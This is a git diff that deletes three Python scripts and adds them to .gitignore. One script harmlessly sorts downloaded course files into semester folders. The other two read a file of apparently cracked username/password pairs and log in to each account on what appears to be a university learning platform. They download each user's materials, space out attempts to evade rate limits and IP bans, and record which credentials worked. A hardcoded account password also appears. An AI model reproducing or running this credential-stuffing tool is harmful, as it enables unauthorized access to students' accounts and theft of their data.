diff --git a/.gitignore b/.gitignore index ed97685..72e418b 100644 --- a/.gitignore +++ b/.gitignore @@ -16,6 +16,7 @@ develop-eggs/ dist/*.txt dist/downloads +dist/*.py downloads/ eggs/ .eggs/ diff --git a/dist/move_file.py b/dist/move_file.py deleted file mode 100644 index ba7e295..0000000 --- a/dist/move_file.py +++ /dev/null @@ -1,68 +0,0 @@ -import os -import shutil -from pathlib import Path - -def auto_rename(target_path): - """ - Simulates Windows-style auto-renaming: filename (1).ext, filename (2).ext, etc. - """ - base = target_path.stem - ext = target_path.suffix - folder = target_path.parent - - i = 1 - while True: - new_name = f"{base} ({i}){ext}" - new_path = folder / new_name - if not new_path.exists(): - return new_path - i += 1 - -def copy_files_with_rules(source_folder, target_folder): - """ - Recursively copies files from the source folder to the target semester folder with the given rules. - If the file already exists and contains 'commit' or 'comment', it will be renamed. - """ - source = Path(source_folder) - target = Path(target_folder) - - # Traverse the usernames and semesters - for username_folder in os.listdir(source): - username_path = source / username_folder - if os.path.isdir(username_path): # Ensure it's a folder - for semester_folder in os.listdir(username_path): - semester_path = username_path / semester_folder - if os.path.isdir(semester_path): # Ensure it's a semester folder - # Define the corresponding target semester folder - target_semester_folder = target / semester_folder - target_semester_folder.mkdir(parents=True, exist_ok=True) # Ensure target exists - - # Recursively copy files from the semester folder, maintaining the subdirectory structure - for root, dirs, files in os.walk(semester_path): - for file_name in files: - file_path = Path(root) / file_name - # Generate the target path by preserving the directory structure - relative_path = file_path.relative_to(semester_path) # Path relative to the semester folder - target_file_path = target_semester_folder / relative_path - - # Ensure the target subdirectories exist - target_file_path.parent.mkdir(parents=True, exist_ok=True) - - filename_lower = file_name.lower() - - if target_file_path.exists(): - # If the file exists and contains "submit" or "comment", auto-rename it - if "submit" in filename_lower or "comment" in filename_lower: - new_destination = auto_rename(target_file_path) - shutil.copy2(file_path, new_destination) - print(f"Copied with rename: {file_name} -> {new_destination.name}") - else: - print(f"Skipped (exists): {file_name}") - else: - shutil.copy2(file_path, target_file_path) - print(f"Copied: {file_name}") - -# Example usage: -source_folder = r".\downloads" # Your source folder -target_folder = r"G:\Involution Corridor\网络学堂资料" # Target folder -copy_files_with_rules(source_folder, target_folder) diff --git a/dist/run_all_users.py b/dist/run_all_users.py deleted file mode 100644 index aa34ac7..0000000 --- a/dist/run_all_users.py +++ /dev/null @@ -1,114 +0,0 @@ -import sys -from concurrent.futures import ProcessPoolExecutor, as_completed -import subprocess -import os -import re -import time, random -from tqdm.auto import tqdm # <- Progress bar - -# Path to your compiled executable -exe_path = "./main.exe" - -# Path to the credentials file -creds_file = "SecureCracked.txt" - -# Output file to store successful lines -successful_users_file = "SecureCrackedMain.txt" - -def get_semesters(username: str) -> list[str]: - match = re.search(r'(14|15|16|17|18|19|20|21|22|23|24)', username) - if match: - start_year = int('20' + match.group(1)) - semesters = [] - for year in range(start_year, 2024): - semesters.extend([f"{year}-{year+1}-{i}" for i in range(1, 4)]) - semesters.append("2024-2025-1") - return semesters - else: - return ["2024-2025-4"] - -def run_semester(username: str, password: str, semester: str): - output_dir = os.path.join("downloads", username) - os.makedirs(output_dir, exist_ok=True) - - print(f"▶ {username} → {semester}") - result = subprocess.run( - [exe_path, "-u", username, "-p", password, "--prefix", output_dir, "-s", semester], - capture_output=True, - text=True - ) - return semester, result.returncode, result.stdout, result.stderr - -def login_check(username: str, password: str) -> bool: - """ Function to check login with an empty semester (2024-2025-4). Returns False if BAD_CREDENTIALS is found. """ - print(f"\nTrying login for {username} with empty semester...") - result = subprocess.run( - [exe_path, "-u", username, "-p", password, "-s", "2024-2025-4"], - capture_output=True, - text=True - ) - - if "BAD_CREDENTIALS" in result.stdout: - print(f"❌ {username} login failed. Skipping user.") - return False - return True - -# MAIN CONTROL FLOW -if __name__ == "__main__": - with open(creds_file, "r", encoding="utf-8") as f: - lines = [line.strip() for line in f if line.strip() and "::::" in line] - - with tqdm(total=len(lines), desc="🌍 All Users", unit="user", position=0, leave=True, dynamic_ncols=True) as global_bar: - for line in lines: - try: - parts = line.split("::::") - username = parts[0] - tokens = parts[1].split(":") - password = tokens[-1] - - # First, check login with empty semester - if not login_check(username, password): - print(f"🔍 Verifying login failure with known good credentials...") - time.sleep(random.uniform(5,6)) - if not login_check("sijx24", "123moyuer"): - print("🚫 Possible IP ban or rate limit! Skipping all users temporarily.") - sys.exit(1) # Exit the entire program immediately - else: - print(f"❌ Invalid credentials for {username}, skipping.") - time.sleep(random.uniform(5,6)) - continue # Skip to next user - - semesters = get_semesters(username) - output_dir = os.path.join("downloads", username) - - print(f"\n📌 Processing user: {username} with password:{password}") - - with ProcessPoolExecutor(max_workers=20) as executor: - futures = [] - for semester in semesters: - future = executor.submit(run_semester, username, password, semester) - futures.append(future) - time.sleep(random.uniform(1, 5)) # ⏱ Add random delay between submissions (tune as needed) - - for future in tqdm(as_completed(futures), total=len(futures), desc=f"⏳ {username}", unit="sem", position=1, leave=False, dynamic_ncols=True): - try: - semester, returncode, stdout, stderr = future.result() - print(f"\n🗓 {semester} finished with code {returncode}") - print(" └─ STDOUT:", stdout[:450]) - print(" └─ STDERR:", stderr[:450]) - except Exception as e: - print(f"⚠️ Error running {semester} for {username}: {e}") - - # Check if output_dir is empty - if any(os.scandir(output_dir)): - print(f"✅ Output for {username} is not empty. Logging...") - with open(successful_users_file, "a", encoding="utf-8") as success_file: - success_file.write(line + "\n") - else: - os.rmdir(output_dir) - - except Exception as e: - print(f"❌ Error processing user {line.strip()}") - print(" →", e) - - global_bar.update(1) # ✅ Update global progress diff --git a/dist/run_all_users_parallel.py b/dist/run_all_users_parallel.py deleted file mode 100644 index 52a23ba..0000000 --- a/dist/run_all_users_parallel.py +++ /dev/null @@ -1,140 +0,0 @@ -import sys -from concurrent.futures import ProcessPoolExecutor, as_completed -import subprocess -import os -import re -import time, random -from multiprocessing.synchronize import Event - -from tqdm.auto import tqdm # <- Progress bar -from filelock import FileLock - -# use with caution!!! High-frequency multi-user login failure may ban your ip. - -# Path to your compiled executable -exe_path = "./main.exe" - -# Path to the credentials file -creds_file = "SecureCracked.txt" - -# Output file to store successful lines -successful_users_file = "SecureCrackedMain.txt" - -def get_semesters(username: str) -> list[str]: - match = re.search(r'(14|15|16|17|18|19|20|21|22|23|24)', username) - if match: - start_year = int('20' + match.group(1)) - semesters = [] - for year in range(start_year, 2024): - semesters.extend([f"{year}-{year+1}-{i}" for i in range(1, 4)]) - semesters.append("2024-2025-1") - return semesters - else: - return ["2024-2025-4"] - -def run_semester(username: str, password: str, semester: str): - output_dir = os.path.join("downloads", username) - os.makedirs(output_dir, exist_ok=True) - - print(f"▶ {username} → {semester}") - result = subprocess.run( - [exe_path, "-u", username, "-p", password, "--prefix", output_dir, "-s", semester], - capture_output=True, - text=True - ) - return semester, result.returncode, result.stdout, result.stderr - - -def login_check(username: str, password: str) -> bool: - """ Function to check login with an empty semester (2024-2025-4). Returns False if BAD_CREDENTIALS is found. """ - print(f"Trying login for {username} with empty semester...") - result = subprocess.run( - [exe_path, "-u", username, "-p", password, "-s", "2024-2025-4"], - capture_output=True, - text=True - ) - - if "BAD_CREDENTIALS" in result.stdout: - print(f"❌ {username} login failed. Skipping user.") - return False - return True - -def process_user_line(line: str, abort_event: Event): - if abort_event.is_set(): - return None # Exit early if abort signal is already triggered - - line = line.strip() - if not line or "::::" not in line: - return None - - try: - parts = line.split("::::") - username = parts[0] - tokens = parts[1].split(":") - password = tokens[-1] - - # First, check login with empty semester - if not login_check(username, password): - print(f"🔍 Verifying login failure with known good credentials...") - if not login_check("sijx24", "123moyuer"): - print("🚫 Possible IP ban or rate limit! Skipping all users temporarily.") - time.sleep(5) - sys.exit(1) # Exit the entire program immediately - else: - print(f"❌ Invalid credentials for {username}, skipping.") - time.sleep(random.uniform(5, 10)) - return None # Skip to next user - - semesters = get_semesters(username) - output_dir = os.path.join("downloads", username) - - print(f"\n📌 Processing user: {username}") - with ProcessPoolExecutor(max_workers=6) as executor: # Semester-level parallelism - futures = [] - for semester in semesters: - future = executor.submit(run_semester, username, password, semester) - futures.append(future) - time.sleep(random.uniform(5, 10)) # ⏱ Add random delay between submissions (tune as needed) - - for future in tqdm(as_completed(futures), total=len(futures), - desc=f"⏳ {username}", unit="sem", position=1, leave=False, dynamic_ncols=True): - semester, returncode, stdout, stderr = future.result() - print(f"\n🗓 {semester} finished with code {returncode}") - print(" └─ STDOUT:", stdout[:400]) - print(" └─ STDERR:", stderr[:400]) - - lock = FileLock(successful_users_file + ".lock") - # Check if output_dir is not empty - if any(os.scandir(output_dir)): - with lock: # <-- file is locked during write - with open(successful_users_file, "a", encoding="utf-8") as success_file: - success_file.write(line + "\n") - print(f"✅ Output for {username} saved.") - - except Exception as e: - print(f"❌ Error processing user {line}") - print(" →", e) - -# MAIN CONTROL -if __name__ == "__main__": - abort_event = Event() - - with open(creds_file, "r", encoding="utf-8") as f: - lines = [line for line in f if line.strip() and "::::" in line] - - with tqdm(total=len(lines), desc="🌍 All Users", unit="user", position=0, leave=True, dynamic_ncols=True) as global_bar: - with ProcessPoolExecutor(max_workers=2) as user_executor: # User-level parallelism - future_to_line = {} - for line in lines: - if abort_event.is_set(): - break # Stop submitting new users - future = user_executor.submit(process_user_line, line, abort_event) - future_to_line[future] = line - time.sleep(random.uniform(5, 10)) # ⏱ Delay between user submissions (adjust as needed) - - for future in as_completed(future_to_line): - if abort_event.is_set(): - print("⚠️ Aborting due to global error signal.") - break - _ = future.result() - global_bar.update(1) \ No newline at end of file